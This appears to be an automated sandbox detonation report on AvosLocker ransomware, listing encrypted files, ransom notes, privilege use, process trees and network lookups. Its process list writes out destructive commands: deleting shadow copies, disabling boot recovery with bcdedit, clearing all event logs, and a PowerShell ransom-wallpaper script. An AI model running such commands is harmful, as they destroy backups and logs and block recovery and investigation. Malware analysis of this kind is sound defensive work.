SHA512 6903ae3247f32ad79c60a2062cd6a7bdbf5a7c9db1bdc43bdbef4da3396945014d30968ea4c8531a2d0c7b695f1ea36e2b8c51bb39cc6157c4096ac04a6e187d

memory/2812-1156-0x000000001B570000-0x000000001B852000-memory.dmp

memory/2812-1322-0x0000000002240000-0x0000000002248000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 181d08739c3cff9363a15904ae10b8b8
SHA1 b15092ecb2cf474483e4a0ebbe1da7348b365b45
SHA256 f1ef56c194755ad0185c3b8e15c5d91de2a76df040894959384430af214a08e2
SHA512 6be1ca56923f16957d600269c28340603e225eab970b841ec1f36573e2a6d9be8699cd96575ff0933044adcfb5ac571399e6be7b59926a68107e660deb73fe7f

memory/4564-24534-0x0000000001E70000-0x0000000001E78000-memory.dmp

memory/4564-24533-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-10 21:10

Reported

2024-09-10 21:13

Platform

win10v2004-20240802-en

Max time kernel

148s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe"

Signatures

Avoslocker Ransomware

ransomware avoslocker

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (8474) files with added filename extension

ransomware

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\264998562.png" C:\Windows\system32\reg.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-il\ui-strings.js C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\vlc.mo C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365EduCloudEDUR_Subscription-pl.xrm-ms C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\ja-JP\tipresx.dll.mui C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Analysis Services\AS OLEDB\140\Cartridges\as90.xsl C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PersonalR_OEM_Perp-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\tr-tr\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Acrobat Pro DC.pdf C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\cs-cz\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\en-gb\lpcstrings.json C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PowerPoint2019R_Grace-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ru-ru\ui-strings.js C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\pt-br\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\SplitPop.asp C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected] C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-black_scale-180.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\ADDINS\EduWorks Data Streamer Add-In\DataStreamerLibrary.dll.config C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\ca.pak.DATA C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\de-de\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_pt_135x40.svg C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\lo\LC_MESSAGES\vlc.mo C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected] C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\FPA_f4\FA000000005 C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\uk-ua\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxCalendarAppList.scale-200.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files\Microsoft Office\root\Document Themes 16\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files (x86)\Windows Defender\fr-FR\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\vk_swiftshader_icd.json C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\CHANGELOG.md C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\GooglePromoTile.scale-200.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Cartridges\sql120.xsl C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoR_O16ConsumerPerp_Bypass30-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\da-dk\ui-strings.js C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\download.svg C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\OutlookMailSmallTile.scale-100.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\vi\msipc.dll.mui C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.scale-140.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\gl.pak.DATA C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\zh-cn\ui-strings.js C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files\VideoLAN\VLC\plugins\keystore\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\OutlookR_Retail-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\ONENOTE_F_COL.HXK C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\fi-fi\ui-strings.js C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fr-fr\ui-strings.js C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_filter_18.svg C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\en-US\PackageManagementDscUtilities.strings.psd1 C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Outlook.scale-250.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\pl\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Windows Defender\it-IT\ProtectionManagement_Uninstall.mfl C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\Bibliography\Style\GostName.XSL C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\root\ui-strings.js C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\sv-se\ui-strings.js C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\EmptyShare.scale-125.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\GenericMailLargeTile.scale-400.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Generic-Light.scale-150.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxCalendarAppList.targetsize-24_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\it-it\ui-strings.js C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-win.css C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\LinkedInboxMediumTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2352 wrote to memory of 3116 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\SYSTEM32\cmd.exe
PID 2352 wrote to memory of 3116 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\SYSTEM32\cmd.exe
PID 2352 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\SYSTEM32\cmd.exe
PID 2352 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\SYSTEM32\cmd.exe
PID 2352 wrote to memory of 2920 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\SYSTEM32\cmd.exe
PID 2352 wrote to memory of 2920 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\SYSTEM32\cmd.exe
PID 2352 wrote to memory of 4108 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\SYSTEM32\cmd.exe
PID 2352 wrote to memory of 4108 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\SYSTEM32\cmd.exe
PID 2352 wrote to memory of 3824 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\SYSTEM32\cmd.exe
PID 2352 wrote to memory of 3824 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\SYSTEM32\cmd.exe
PID 2456 wrote to memory of 436 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2456 wrote to memory of 436 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 3824 wrote to memory of 4720 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3824 wrote to memory of 4720 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4108 wrote to memory of 1572 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 4108 wrote to memory of 1572 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 3116 wrote to memory of 34976 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3116 wrote to memory of 34976 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2920 wrote to memory of 38376 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2920 wrote to memory of 38376 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2352 wrote to memory of 12296 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2352 wrote to memory of 12296 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 12296 wrote to memory of 21440 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 12296 wrote to memory of 21440 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 12296 wrote to memory of 8728 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 12296 wrote to memory of 8728 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe

"C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c wmic shadowcopy delete /nointeractive

C:\Windows\SYSTEM32\cmd.exe

cmd /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\SYSTEM32\cmd.exe

cmd /c bcdedit /set {default} recoveryenabled No

C:\Windows\SYSTEM32\cmd.exe

cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\cmd.exe

cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete /nointeractive

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled No

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\264998562.png /f

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 34.56.20.217.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp

Files

\Device\HarddiskVolume1\GET_YOUR_FILES_BACK.txt

MD5 01188d22b1675e3437b1418e14f4ffab
SHA1 6e7127f3bbfce49485ed8f1acf8f697bcb952818
SHA256 e4b3ac00a0b2eb195b26abffbc4368077384e73393e51605edda17dae05ab7f2
SHA512 6903ae3247f32ad79c60a2062cd6a7bdbf5a7c9db1bdc43bdbef4da3396945014d30968ea4c8531a2d0c7b695f1ea36e2b8c51bb39cc6157c4096ac04a6e187d

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eyau5bxf.kxf.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4720-16710-0x000001F53C150000-0x000001F53C172000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 6cf293cb4d80be23433eecf74ddb5503
